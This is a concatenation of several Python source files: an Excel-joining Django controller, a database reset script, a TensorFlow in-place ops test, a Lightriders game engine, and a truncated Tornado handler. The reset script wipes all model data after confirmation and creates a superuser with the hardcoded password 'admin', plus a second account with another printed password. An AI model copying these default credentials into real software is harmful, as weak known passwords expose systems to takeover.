ProcessController(object):\n\n\n\tdef __init__(self,process):\n\t\tsuper(ProcessController, self).__init__()\n\t\tself.process = process\n\n\tdef addFile(self,excel):\n\t\texcel_path = settings.MEDIA_ROOT + \"/\" + excel.the_file.name\n\t\texcel.the_file.close()\n\t\tworkbook = load_workbook(filename=excel_path)\n\t\tfor sheet in workbook.get_sheet_names():\n\t\t\tsheet_obj, created = Sheet.objects.get_or_create(name=sheet,excel=excel)\n\t\t\tworksheet = workbook[sheet]\n\t\t\ttotal = 0\n\t\t\tnamed = 0\n\t\t\tfor row in worksheet.rows:\n\t\t\t\tfor cell in row:\n\t\t\t\t\ttotal += 1\n\t\t\t\t\tcell_value = safe_unicode(cell.value).strip() if cell.value is not None else \"\"\n\t\t\t\t\tnamed += 1 if len(cell_value) > 0 else 0\n\t\t\t\tbreak\n\t\t\tfor row in worksheet.rows:\n\t\t\t\tfor cell in row:\n\t\t\t\t\tcell_value = safe_unicode(cell.value).strip() if cell.value is not None else \"\"\n\t\t\t\t\tcolumn_name = cell_value if cell_value is not None and len(cell_value) > 0 and total == named else cell.column \n\t\t\t\t\tColumn.objects.get_or_create(sheet=sheet_obj,name=column_name,letter=cell.column)\n\t\t\t\tbreak\n\tdef extract(self,value,pattern,default=\"\"):\n\t\tif value is not None and (type(value) is unicode or type(value) is str):\n\t\t\tdata = re.search(r'(?P'+pattern+')',value)\n\t\t\treturn data.groupdict().get('extract') if data is not None else default\n\t\treturn default\n\n\tdef doProcessJoin(self,export,report_sheet,columns_index,description,worksheetA,y,worksheet,not_found_sheet):\n\n\t\t\tfounded = []\n\t\t\tif self.process.joins.filter(column_a__sheet__excel__description=\"a\",column_b__sheet__excel__description=description).count() != 0:\n\t\n\t\t\t\tjoins = self.process.joins.filter(column_a__sheet__excel__description=\"a\",column_b__sheet__excel__description=description)\n\n\t\t\t\tpresimilar = 80\n\t\t\t\tfor i in range(1,worksheet.max_row):\n\t\t\t\t\tisPassed = []\n\t\t\t\t\tfor join in joins:\n\t\t\t\t\t\tif join.method == \"equal\" and worksheet[join.column_b.letter+unicode(i)].value == worksheetA[join.column_a.letter+unicode(y)].value:\n\t\t\t\t\t\t\tisPassed.append(i)\n\t\t\t\t\t\tif join.method == \"numbers\" and self.extract(worksheet[join.column_b.letter+unicode(i)].value,r'\\d+') == self.extract(worksheetA[join.column_a.letter+unicode(y)].value,r'\\d+'):\n\t\t\t\t\t\t\tisPassed.append(i)\n\t\t\t\t\t\tif join.method == \"similar\":\n\t\t\t\t\t\t\tif fuzz.ratio(worksheet[join.column_b.letter+unicode(i)].value, worksheetA[join.column_a.letter+unicode(y)].value) > presimilar:\n\t\t\t\t\t\t\t\tpresimilar = fuzz.ratio(worksheet[join.column_b.letter+unicode(i)].value, worksheetA[join.column_a.letter+unicode(y)].value)\n\t\t\t\t\t\t\t\tisPassed.append(i)\n\n\n\n\t\t\t\t\tif (joins.count() == 1 and len(isPassed) == 1) or (joins.count() > 1 and len(isPassed) > 1):\n\t\t\t\t\t\tfounded.append(i)\n\t\t\t\t\t\tfor c in self.process.to_export.filter(sheet__excel__description=description):\n\t\t\t\t\t\t\treport_sheet.cell(column=columns_index.get(c.id), row=y, value=worksheet[c.letter+unicode(i)].value)\n\n\t\t\treturn founded\n\n\tdef exportNotFounded(self,founded,worksheet,not_found_sheet,description):\n\t\tri = 0\n\t\tfor i in range(1,worksheet.max_row):\n\t\t\tif i not in founded:\n\t\t\t\tri += 1\n\t\t\t\tci = 0\n\t\t\t\tfor c in self.process.to_export.filter(sheet__excel__description=description):\n\t\t\t\t\tci += 1\n\t\t\t\t\tnot_found_sheet.cell(column=ci, row=ri, value=worksheet[c.letter+unicode(i)].value)\t\t\t\t\n\n\n\n\tdef doProcess(self):\n\n\t\texport = Workbook()\n\t\tsheet = export.active\n\t\tsheet.title = \"reporte\"\n\t\trow_index = 0\n\t\t\n\t\tworkbookA = load_workbook(filename=settings.MEDIA_ROOT + \"/\" + self.process.files.get(description=\"a\").the_file.name)\n\t\tworksheetA = workbookA[workbookA.get_sheet_names()[0]]\n\n\t\tworkbookB = load_workbook(filename=settings.MEDIA_ROOT + \"/\" + self.process.files.get(description=\"b\").the_file.name)\n\t\tworksheetB = workbookB[workbookB.get_sheet_names()[0]]\n\n\t\tworkbookC = load_workbook(filename=settings.MEDIA_ROOT + \"/\" + self.process.files.get(description=\"c\").the_file.name)\n\t\tworksheetC = workbookC[workbookC.get_sheet_names()[0]]\n\n\t\tworkbookD = load_workbook(filename=settings.MEDIA_ROOT + \"/\" + self.process.files.get(description=\"d\").the_file.name)\n\t\tworksheetD = workbookD[workbookD.get_sheet_names()[0]]\n\n\n\t\tsheetB_notfound = export.create_sheet(title=workbookB.get_sheet_names()[0] + \"_notfound\")\n\t\tsheetC_notfound = export.create_sheet(title=workbookC.get_sheet_names()[0] + \"_notfound\")\n\t\tsheetD_notfound = export.create_sheet(title=workbookD.get_sheet_names()[0] + \"_notfound\")\n\n\t\tfounded_b_arr = []\n\t\tfounded_c_arr = []\n\t\tfounded_d_arr = []\n\n\t\tcolumn_index = 0\n\t\tcolumns_index = dict()\n\t\trow_index += 1\n\t\tfor c in self.process.to_export.all():\n\t\t\tcolumn_index += 1\n\t\t\tcolumns_index[c.id] = column_index \n\t\t\tsheet.cell(column=column_index, row=row_index, value=c.name)\n\n\t\tfor y in range(2,worksheetA.max_row):\n\t\t\t\n\t\t\tfor c in self.process.to_export.filter(sheet__excel__description=\"a\"):\n\t\t\t\tsheet.cell(column=columns_index.get(c.id), row=y, value=worksheetA[c.letter+unicode(y)].value)\n\n\t\t\tfounded_b_arr.extend(self.doProcessJoin(export,sheet,columns_index,\"b\",worksheetA,y,worksheetB,sheetB_notfound))\n\t\t\tfounded_c_arr.extend(self.doProcessJoin(export,sheet,columns_index,\"c\",worksheetA,y,worksheetC,sheetC_notfound))\n\t\t\tfounded_d_arr.extend(self.doProcessJoin(export,sheet,columns_index,\"d\",worksheetA,y,worksheetD,sheetD_notfound))\n\n\t\tself.exportNotFounded(founded_b_arr,worksheetB,sheetB_notfound,\"b\")\n\t\tself.exportNotFounded(founded_b_arr,worksheetC,sheetC_notfound,\"c\")\n\t\tself.exportNotFounded(founded_b_arr,worksheetD,sheetD_notfound,\"d\")\n\n\n\t\texport.save(filename = settings.MEDIA_ROOT + \"/export.xlsx\" )\n\n\t\treport = Import()\n\t\treport.name = \"export.xlsx\"\n\t\treport.atype = \"report\"\n\t\treport.description = self.process.name\n\t\treport.the_file.save(\"export.xlsx\",File(open(settings.MEDIA_ROOT + \"/export.xlsx\")))\n\t\treport.save()\n\t\tself.process.files.add(report)\n\t\tself.process.save()\n\t\tos.remove(settings.MEDIA_ROOT + \"/\" + report.name)\n\t\treturn report\n\n\n\n\n\n\n\t\t","sub_path":"facturacion/core/ProcessController.py","file_name":"ProcessController.py","file_ext":"py","file_size_in_byte":6265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"168155963","text":"import os\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"qwc.settings\")\nimport django\ndjango.setup()\n\nfrom django.contrib.auth.models import User\n\nfrom quickbooks.models import MessageQue\nfrom quickbooks import models\nfrom quickbooks.qbxml import QBXML\n\nfrom django.db.models import get_app, get_models\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n\nmodels = []\nfor modell in get_models():\n models.append(modell)\nwill_be_deleted_text = bcolors.OKBLUE + \"WARNING!! all this data in this models are going to die! %s\" + bcolors.ENDC\nprint(will_be_deleted_text %(\"the models are:\"))\nfor m in models:\n print(bcolors.FAIL + \"%s => (%s records)\" %(m.__name__, m.objects.count()) + bcolors.ENDC)\nprint(will_be_deleted_text %(\"\"))\n\nconfirm = None\nconfirm = input(\"TO CONTINUE TYPE %s YES %s :\"%(bcolors.HEADER, bcolors.ENDC)).lower()\nif confirm != \"yes\":\n raise Exception(\"User Canceled \")\n\nfor model in get_models():\n print(\"Deleting ==> %s\" %(bcolors.FAIL + model.__name__) + bcolors.ENDC)\n model.objects.all().delete()\n\n# Let's create two users one for dashboard and another for quickbooks authentication.\nprint(\"Creating a user for quickbooks authentication. username = quickbooks password = kickstart\")\nqb = User.objects.create_user('quickbooks', 'quickbooks@localhost.com', 'kickstart')\nprint(\"Creating a django password username = admin password = admin\")\nUser.objects.create_superuser('admin', 'admin@localhost.com', 'admin')\n\n# Generates some quickbooks messages.\nprint(\"Generating Quickbooks messages\")\nq = QBXML().initial()\nfor query in q:\n\n MessageQue.objects.create(name=query['name'], message=query['message'], description='Auto Generated', repeat=True,\n user=qb)\n print(\"Generated: %s\" %(query['name']))\n\n","sub_path":"initialize.py","file_name":"initialize.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"248485239","text":"# Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Tests for inplace_ops.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\n\nfrom tensorflow.python.client import session\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import errors\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.platform import test\n\n\nclass InplaceOpsTest(test.TestCase):\n\n def testBasicUpdate(self):\n for dtype in [dtypes.float32, dtypes.int32]:\n with self.test_session(use_gpu=True):\n x = array_ops.ones([7, 3], dtype)\n y = np.ones([7, 3], dtype.as_numpy_dtype)\n self.assertAllClose(x.eval(), y)\n x = array_ops._alias_inplace_update(x, [3],\n array_ops.ones([1, 3], dtype))\n y[3, :] = 1\n self.assertAllClose(x.eval(), y)\n x = array_ops._alias_inplace_update(x, [-1],\n array_ops.ones([1, 3], dtype) * 2)\n y[-1, :] = 2\n self.assertAllClose(x.eval(), y)\n x = array_ops._alias_inplace_update(x, 5, array_ops.ones([3], dtype) *\n 7)\n y[5, :] = 7\n self.assertAllClose(x.eval(), y)\n\n def testBasicAdd(self):\n for dtype in [dtypes.float32, dtypes.int32]:\n with self.test_session(use_gpu=True):\n x = array_ops.ones([7, 3], dtype)\n y = np.ones([7, 3], dtype.as_numpy_dtype)\n self.assertAllClose(x.eval(), y)\n x = array_ops._alias_inplace_add(x, [3], array_ops.ones([1, 3], dtype))\n y[3, :] += 1\n self.assertAllClose(x.eval(), y)\n x = array_ops._alias_inplace_add(x, [-1],\n array_ops.ones([1, 3], dtype) * 2)\n y[-1, :] += 2\n self.assertAllClose(x.eval(), y)\n x = array_ops._alias_inplace_add(x, 5, array_ops.ones([3], dtype) * 7)\n y[5, :] += 7\n self.assertAllClose(x.eval(), y)\n x = array_ops._alias_inplace_add(x, None,\n array_ops.ones([7, 3], dtype) * 99)\n y[:, :] += 99\n self.assertAllClose(x.eval(), y)\n\n def testBasicSub(self):\n for dtype in [dtypes.float32, dtypes.int32]:\n with self.test_session(use_gpu=True):\n x = array_ops.ones([7, 3], dtype)\n y = np.ones([7, 3], dtype.as_numpy_dtype)\n self.assertAllClose(x.eval(), y)\n x = array_ops._alias_inplace_subtract(x, [3],\n array_ops.ones([1, 3], dtype))\n y[3, :] -= 1\n self.assertAllClose(x.eval(), y)\n x = array_ops._alias_inplace_subtract(x, [-1],\n array_ops.ones([1, 3], dtype) * 2)\n y[-1, :] -= 2\n self.assertAllClose(x.eval(), y)\n x = array_ops._alias_inplace_subtract(x, 5,\n array_ops.ones([3], dtype) * 7)\n y[5, :] -= 7\n self.assertAllClose(x.eval(), y)\n x = array_ops._alias_inplace_subtract(x, None,\n array_ops.ones([7, 3], dtype) *\n 99)\n y[:, :] -= 99\n self.assertAllClose(x.eval(), y)\n\n def testRandom(self):\n with self.test_session(use_gpu=True):\n d0, d1, d2 = 100, 3, 5\n x = array_ops.zeros([d0, d1, d2])\n y = np.zeros([d0, d1, d2])\n for _ in range(20):\n idx = np.random.choice(d0, d0 / 10, replace=False)\n val = np.random.randint(10, size=(d0 / 10, d1, d2))\n op = np.random.randint(3)\n if op == 0:\n x = array_ops._alias_inplace_update(x, idx, val)\n y[idx, :] = val\n elif op == 1:\n x = array_ops._alias_inplace_add(x, idx, val)\n y[idx, :] += val\n elif op == 2:\n x = array_ops._alias_inplace_subtract(x, idx, val)\n y[idx, :] -= val\n self.assertAllClose(x.eval(), y)\n\n def testRandom1D(self):\n with self.test_session(use_gpu=True):\n d0 = 100\n x = array_ops.zeros([d0])\n y = np.zeros([d0])\n for _ in range(20):\n idx = np.random.choice(d0, d0 / 10, replace=False)\n val = np.random.randint(10, size=(d0 / 10))\n op = np.random.randint(3)\n if op == 0:\n x = array_ops._alias_inplace_update(x, idx, val)\n y[idx] = val\n elif op == 1:\n x = array_ops._alias_inplace_add(x, idx, val)\n y[idx] += val\n elif op == 2:\n x = array_ops._alias_inplace_subtract(x, idx, val)\n y[idx] -= val\n self.assertAllClose(x.eval(), y)\n\n def testError(self):\n with self.test_session():\n with self.assertRaisesRegexp(errors.InvalidArgumentError,\n \"must be a vector\"):\n _ = array_ops._alias_inplace_update([[1.]], [[0]], [[10]]).eval()\n with self.assertRaisesRegexp(errors.InvalidArgumentError,\n \"value and update shape doesn't match\"):\n _ = array_ops._alias_inplace_update([[1.]], [0], [10]).eval()\n with self.assertRaisesRegexp(errors.InvalidArgumentError,\n \"loc and update shape doesn't match\"):\n _ = array_ops._alias_inplace_update([[1.]], [0, 1], [[10]]).eval()\n\n def testEmpty(self):\n # Not much to test except the output a empty should have the shape\n # and dtype we specify.\n for dtype in [dtypes.float32, dtypes.float64, dtypes.int32]:\n with self.test_session(use_gpu=True):\n test_shapes = [(), (1,), (2, 3), (0, 2), (2, 3, 5), (2, 0, 5)]\n for shape in test_shapes:\n val = array_ops._empty(shape, dtype).eval()\n self.assertEqual(val.shape, shape)\n self.assertEqual(val.dtype, dtype.as_numpy_dtype)\n val = array_ops._empty(shape, dtype, init=True).eval()\n self.assertEqual(val.shape, shape)\n self.assertEqual(val.dtype, dtype.as_numpy_dtype)\n self.assertAllEqual(val, np.zeros(shape, dtype.as_numpy_dtype))\n val = array_ops._empty_like(array_ops.zeros(shape, dtype)).eval()\n self.assertEqual(val.shape, shape)\n self.assertEqual(val.dtype, dtype.as_numpy_dtype)\n val = array_ops._empty_like(\n array_ops.zeros(shape, dtype), init=True).eval()\n self.assertEqual(val.shape, shape)\n self.assertEqual(val.dtype, dtype.as_numpy_dtype)\n self.assertAllEqual(val, np.zeros(shape, dtype.as_numpy_dtype))\n\n val = array_ops._empty((1, 2), dtypes.string, init=True).eval()\n self.assertEqual(val.tolist(), [[b\"\", b\"\"]])\n\n val = array_ops._empty((1, 2), dtypes.string, init=False).eval()\n self.assertEqual(val.tolist(), [[b\"\", b\"\"]])\n\n def testEmptyStateful(self):\n with session.Session(\"\") as sess:\n v1 = array_ops.placeholder(dtypes.float32, shape=[])\n v2 = array_ops.placeholder(dtypes.float32, shape=[])\n\n a = array_ops._empty((1,), dtypes.float32, init=False)\n b = array_ops._empty((1,), dtypes.float32, init=False)\n\n a = array_ops._alias_inplace_update(a, 0, v1)\n b = array_ops._alias_inplace_update(b, 0, v2)\n\n res1, res2 = sess.run([a, b], feed_dict={v1: 1, v2: 2})\n self.assertEqual(res1, 1)\n self.assertEqual(res2, 2)\n\n\nif __name__ == \"__main__\":\n test.main()\n","sub_path":"tensorflow/python/kernel_tests/inplace_ops_test.py","file_name":"inplace_ops_test.py","file_ext":"py","file_size_in_byte":8023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"474772026","text":"#!/usr/bin/env python3\n\nfrom math import cos, pi, sin, sqrt, atan\nimport sys\n\nimport random\n\nfrom fractions import Fraction\nimport operator\nfrom game import Game\nfrom copy import deepcopy\n\nimport player\n\ntry:\n from sys import maxint\nexcept ImportError:\n from sys import maxsize as maxint\n\nLAND = -2\nWATER = -1\nMAP_OBJECT = '.%'\n\nPLAYER0 = 0\nPLAYER1 = 1\nWALL = 2\nEMPTY = 3\n\nVALID_ORDERS = [\"up\", \"down\", \"left\", \"right\", \"pass\"]\n\nADJACENT = [\n (-1, 0),\n (0, 1),\n (1, 0),\n (0, -1)\n]\n\nCODE_SPAWN_DELAY = 8\nWEAPON_SPAWN_DELAY = 20\nBUG_SPAWN_COUNT = 5\nHIT_PENALTY = 4\n\nclass Lightriders(Game):\n def __init__(self, options=None):\n self.width = 0\n self.height = 0\n self.cutoff = None\n# self.turns = int(options['turns'])\n# self.loadtime = int(options['loadtime'])\n# self.turntime = int(options['turntime'])\n self.engine_seed = options.get('engine_seed',\n random.randint(-maxint-1, maxint))\n random.seed(self.engine_seed)\n self.timebank = 0\n if 'timebank' in options:\n self.timebank = int(options['timebank'])\n self.time_per_move = int(options['time_per_move'])\n self.player_names = [\"player0\", \"player1\"] #options['player_names']\n self.player_seed = options.get('player_seed',\n random.randint(-maxint-1, maxint))\n\n self.turn = 0\n self.turn_limit = int(options['turns'])\n self.num_players = 2 # map_data[\"players\"]\n self.players = [player.Player(), player.Player()]\n # used to cutoff games early\n self.cutoff_turns = 0\n # used to calculate the turn when the winner took the lead\n self.winning_bot = None\n self.winning_turn = 0\n # used to calculate when the player rank last changed\n self.ranking_bots = None\n self.ranking_turn = 0\n\n # initialize scores\n self.score = [0]*self.num_players\n self.bonus = [0]*self.num_players\n self.score_history = [[s] for s in self.score]\n\n # used to track dead players\n self.killed = [False for _ in range(self.num_players)]\n\n # used to give a different ordering of players to each player;\n # initialized to ensure that each player thinks they are player 0\n # Not used in this game I think.\n self.switch = [[None]*self.num_players + list(range(-5,0))\n for i in range(self.num_players)]\n for i in range(self.num_players):\n self.switch[i][i] = 0\n\n # the engine may kill players before the game starts and this is needed\n # to prevent errors\n self.orders = [[] for i in range(self.num_players)]\n\n ### collect turns for the replay\n self.replay_data = []\n\n self.map_data = self.new_map ()\n\n\n def string_cell_item(self, item):\n if item == PLAYER0:\n return '0'\n elif item == PLAYER1:\n return '1'\n elif item == EMPTY:\n return '.'\n elif item == WALL:\n return 'x'\n else:\n return ' '\n\n def in_bounds (self, row, col):\n return row >= 0 and col >= 0 and col < self.width and row < self.height\n\n def output_cell (self, cell):\n return self.string_cell_item(cell)\n\n def string_field (self, field):\n flat = []\n for row in field:\n for cell in row:\n flat.append(cell)\n return (','.join([self.output_cell (cell) for cell in flat]))\n\n def init_grid (self, rows, cols):\n\n grid = []\n\n for row in range(0, rows):\n grid.append([])\n for col in range(0, cols):\n grid[row].append(EMPTY)\n\n return grid\n\n def choose_player_locs (self, rows, cols):\n row = random.randint(0, rows - 1)\n col_offset = random.randint(1, (cols - 2) / 2)\n self.players[0].row = row\n self.players[0].prev_row = row\n self.players[1].row = row\n self.players[1].prev_row = row\n\n self.players[0].col = col_offset\n self.players[0].prev_col = col_offset\n self.players[1].col = cols - (col_offset + 1)\n self.players[1].prev_col = cols - (col_offset + 1)\n\n self.field[row][col_offset] = PLAYER0\n self.field[row][cols - (col_offset + 1)] = PLAYER1\n\n def new_map (self):\n rows = 16 # random.randint(10, 20)\n cols = 16 # random.randint(10, 20)\n self.height = rows\n self.width = cols\n grid = self.init_grid (rows, cols)\n self.field = grid\n self.choose_player_locs(rows, cols)\n return {\n \"size\": (rows, cols),\n \"grid\" : grid }\n\n def render_changes(self, player, time_to_move):\n \"\"\" Create a string which communicates the updates to the state\n \"\"\"\n updates = self.get_state_changes(time_to_move)\n visible_updates = []\n # next list all transient objects\n for update in updates:\n visible_updates.append(update)\n visible_updates.append([]) # newline\n return '\\n'.join(' '.join(map(str,s)) for s in visible_updates)\n\n def get_state_changes(self, time_to_move):\n \"\"\" Return a list of all transient objects on the map.\n\n \"\"\"\n changes = []\n changes.extend([['update game round', self.turn + 1]])\n changes.extend([['update game field', self.string_field(self.field)]])\n changes.extend([['action move', int(time_to_move * 1000)]]) \n return changes\n\n def convert_move(self, move):\n \"\"\" Convert text string to co-ordinate offset\n \"\"\"\n if move == \"up\":\n return {\"row\" : -1, \"col\" : 0}\n elif move == \"down\":\n return {\"row\": 1, \"col\" : 0}\n elif move == \"left\":\n return {\"row\": 0, \"col\" : -1}\n elif move == \"right\":\n return {\"row\": 0, \"col\" : 1}\n elif move == \"pass\":\n return None\n else:\n raise ValueError(\"Failed to convert string to move: \" + move)\n\n def parse_orders(self, player, lines):\n \"\"\" Parse orders from the given player\n player is an integer\n \"\"\"\n orders = []\n valid = []\n ignored = []\n invalid = []\n\n for line in lines:\n line = line.strip().lower()\n # ignore blank lines and comments\n if not line: # or line[0] == '#':\n continue\n\n if line[0] == '#':\n ignored.append((line))\n continue\n\n data = line.split()\n\n try:\n\n # validate data format\n if data[0] not in VALID_ORDERS:\n invalid.append((line, 'unknown action'))\n continue\n else:\n move = self.convert_move(data[0])\n if move:\n row, col = self.players[player].row + move['row'], self.players[player].col + move['col']\n orders.append((player, row, col))\n\n valid.append(line)\n\n except ValueError:\n invalid.append((line, \"submitted move is invalid: \" + line))\n continue\n\n return orders, valid, ignored, invalid\n\n\n\n def bots_to_play(self, turn):\n \"\"\" Indices of the bots who should receive the game state and return orders now \"\"\"\n return [0, 1]\n\n def board_symbol(self, cell):\n if PLAYER0 == cell:\n return '0'\n elif PLAYER1 == cell:\n return '1'\n elif EMPTY == cell:\n return '.'\n elif WALL == cell:\n return 'x'\n else:\n raise ValueError (\"Invalid board_symbol: \" + str(cell))\n\n def text_board(self):\n print (\"\\n\")\n for row in self.field:\n print(\"\")\n for cell in row:\n sys.stdout.write(self.board_symbol(cell))\n print(\"\\n\")\n\n def player_cell (self, player):\n if player == 0: return PLAYER0 \n else: return PLAYER1\n\n def adjacent_coords (self, row, col):\n result = []\n for (orow, ocol) in ADJACENT:\n (trow, tcol) = (row + orow, col + ocol)\n if self.in_bounds (trow, tcol):\n result.append((trow, tcol))\n return result\n\n def not_blocked(self, row, col):\n return (self.field[row][col] != WALL)\n\n def is_legal(self, player, row, col):\n in_range = (row, col) in self.adjacent_coords(self.players[player].row, self.players[player].col)\n not_reverse = (row != self.players[player].prev_row or col != self.players[player].prev_col)\n return in_range and not_reverse and self.not_blocked (row, col)\n\n def place_move(self, move):\n (player, row, col) = move\n p = self.players[player]\n if self.is_legal (player, row, col):\n self.field[p.row][p.col] = WALL\n self.field[row][col] = player\n p.prev_row = p.row\n p.prev_col = p.col\n p.row = row\n p.col = col\n else:\n self.kill_player (player)\n\n def check_collide_heads(self):\n if (self.players[0].row == self.players[1].row) and (self.players[0].col == self.players[1].col):\n self.kill_player(0)\n self.kill_player(1)\n\n def do_orders(self):\n \"\"\" Execute player orders and handle conflicts\n \"\"\"\n for player in self.bots_to_play(self.turn):\n if self.is_alive(player):\n if len(self.orders[player]) > 0:\n self.place_move (self.orders[player][0])\n else:\n pass\n self.check_collide_heads()\n\n # Common functions for all games\n\n def game_over(self):\n \"\"\" Determine if the game is over\n\n Used by the engine to determine when to finish the game.\n A game is over when there are no players remaining, or a single\n winner remaining.\n \"\"\"\n if len(self.remaining_players()) < 1:\n self.cutoff = 'extermination'\n return True\n elif len(self.remaining_players()) == 1:\n self.cutoff = 'lone survivor'\n return True\n elif self.turn >= self.turn_limit:\n self.cutoff = 'turn limit reached'\n return True\n else: return False\n\n def kill_player(self, player):\n \"\"\" Used by engine to signal that a player is out of the game \"\"\"\n print(\"Player killed: \" + str(player))\n self.killed[player] = True\n self.score[player] = -1\n\n def start_game(self):\n \"\"\" Called by engine at the start of the game \"\"\"\n self.game_started = True\n \n ### append turn 0 to replay\n self.replay_data.append( self.get_state_changes(self.time_per_move) )\n result = []\n\n def score_game(self):\n return [self.score[0], self.score[1]]\n\n def finish_game(self):\n \"\"\" Called by engine at the end of the game \"\"\"\n\n self.score = self.score_game()\n# self.text_board()\n# self.text_macroboard()\n self.calc_significant_turns()\n for i, s in enumerate(self.score):\n self.score_history[i].append(s)\n self.replay_data.append( self.get_state_changes(self.time_per_move) )\n\n # check if a rule change lengthens games needlessly\n if self.cutoff is None:\n self.cutoff = 'turn limit reached'\n\n def start_turn(self):\n \"\"\" Called by engine at the start of the turn \"\"\"\n self.turn += 1\n self.text_board()\n self.orders = [[] for _ in range(self.num_players)]\n\n def finish_turn(self):\n \"\"\" Called by engine at the end of the turn \"\"\"\n self.do_orders()\n # record score in score history\n for i, s in enumerate(self.score):\n if self.is_alive(i):\n self.score_history[i].append(s)\n elif s != self.score_history[i][-1]:\n # score has changed, increase history length to proper amount\n last_score = self.score_history[i][-1]\n score_len = len(self.score_history[i])\n self.score_history[i].extend([last_score]*(self.turn-score_len))\n self.score_history[i].append(s)\n self.calc_significant_turns()\n# self.update_scores()\n\n ### append turn to replay\n self.replay_data.append( self.get_state_changes(self.time_per_move) )\n\n def calc_significant_turns(self):\n ranking_bots = [sorted(self.score, reverse=True).index(x) for x in self.score]\n if self.ranking_bots != ranking_bots:\n self.ranking_turn = self.turn\n self.ranking_bots = ranking_bots\n\n winning_bot = [p for p in range(len(self.score)) if self.score[p] == max(self.score)]\n if self.winning_bot != winning_bot:\n self.winning_turn = self.turn\n self.winning_bot = winning_bot\n\n def get_state(self):\n \"\"\" Get all state changes\n\n Used by engine for streaming playback\n \"\"\"\n updates = self.get_state_changes()\n updates.append([]) # newline\n return '\\n'.join(' '.join(map(str,s)) for s in updates)\n\n def get_player_start(self, player=None):\n \"\"\" Get game parameters visible to players\n\n Used by engine to send bots startup info on turn 0\n \"\"\"\n result = []\n result.append(['settings player_names', ','.join(self.player_names)])\n result.append(['settings your_bot', self.player_names[player]])\n result.append(['settings timebank', self.timebank])\n result.append(['settings time_per_move', self.time_per_move])\n result.append(['settings your_botid', player])\n result.append(['settings field_width', self.width])\n result.append(['settings field_height', self.height])\n result.append(['settings max_rounds', self.turn_limit])\n\n result.append(['settings player_seed', self.player_seed])\n #result.append(['settings num_players', self.num_players])\n #message = self.get_player_state(player, self.timebank)\n\n result.append([]) # newline\n pen = '\\n'.join(' '.join(map(str,s)) for s in result)\n return pen #+ message #+ 'ready\\n'\n\n def get_player_state(self, player, time_to_move):\n \"\"\" Get state changes visible to player\n\n Used by engine to send state to bots\n \"\"\"\n return self.render_changes(player, time_to_move)\n\n def is_alive(self, player):\n \"\"\" Determine if player is still alive\n\n Used by engine to determine players still in the game\n \"\"\"\n if self.killed[player]:\n return False\n else:\n return True\n\n def get_error(self, player):\n \"\"\" Returns the reason a player was killed\n\n Used by engine to report the error that kicked a player\n from the game\n \"\"\"\n return ''\n\n def do_moves(self, player, moves):\n \"\"\" Called by engine to deliver latest player orders \"\"\"\n orders, valid, ignored, invalid = self.parse_orders(player, moves)\n# orders, valid, ignored, invalid = self.validate_orders(player, orders, valid, ignored, invalid)\n self.orders[player] = orders\n return valid, ['%s # %s' % ignore for ignore in ignored], ['%s # %s' % error for error in invalid]\n\n def get_scores(self, player=None):\n \"\"\" Gets the scores of all players\n\n Used by engine for ranking\n \"\"\"\n #if player is None:\n return [0 - s for s in self.score]\n #else:\n # return self.order_for_player(player, self.score)\n\n def order_for_player(self, player, data):\n \"\"\" Orders a list of items for a players perspective of player #\n\n Used by engine for ending bot states\n \"\"\"\n s = self.switch[player]\n return [None if i not in s else data[s.index(i)]\n for i in range(max(len(data),self.num_players))]\n\n def remaining_players(self):\n \"\"\" Return the players still alive \"\"\"\n return [p for p in range(self.num_players) if self.is_alive(p)]\n\n def get_stats(self):\n \"\"\" Used by engine to report stats\n \"\"\"\n stats = {\"scores\": [self.score[0], self.score[1]]}\n return stats\n\n def get_replay(self):\n \"\"\" Return a summary of the entire game\n\n Used by the engine to create a replay file which may be used\n to replay the game.\n \"\"\"\n replay = {}\n # required params\n replay['revision'] = 1\n replay['players'] = self.num_players\n\n # optional params\n replay['loadtime'] = self.timebank\n replay['turntime'] = self.time_per_move\n replay['turns'] = self.turn\n replay['engine_seed'] = self.engine_seed\n replay['player_seed'] = self.player_seed\n\n # scores\n replay['scores'] = self.score_history\n replay['bonus'] = self.bonus\n replay['winning_turn'] = self.winning_turn\n replay['ranking_turn'] = self.ranking_turn\n replay['cutoff'] = self.cutoff\n\n \n ### \n replay['data'] = self.replay_data\n return replay\n\n\n def bot_input_finished(self, line):\n return line.strip().lower() in VALID_ORDERS\n\n","sub_path":"lightriders.py","file_name":"lightriders.py","file_ext":"py","file_size_in_byte":17245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"68535723","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom bson import ObjectId\nfrom tornado import gen\n\nfrom base_app.classes.debug import Debug\nfrom base_app.models.mongodb.user.general_info.general_info import UserModel\nfrom user_app.handlers.base import BaseHandler, authentication\n\n__author__ = 'Morteza'\n\n\nclass UserManagementHandler(BaseHandler):\n @gen.coroutine\n @authentication()\n def post(self, *args):\n try:\n action = self.get_argument('action', '')\n if action == 'change_status':\n user = self.get_argument('user_id', 0)\n status = self.get_argument('status', 'deactive')\n UserModel(_id=ObjectId(user), status=status).change_status()\n\n elif action == \"show_user_profile\":\n user_id = self.get_argument('user_id', '')\n user = UserModel(_id=ObjectId(user_id)).get_one_little()['value']\n self.value = dict(\n 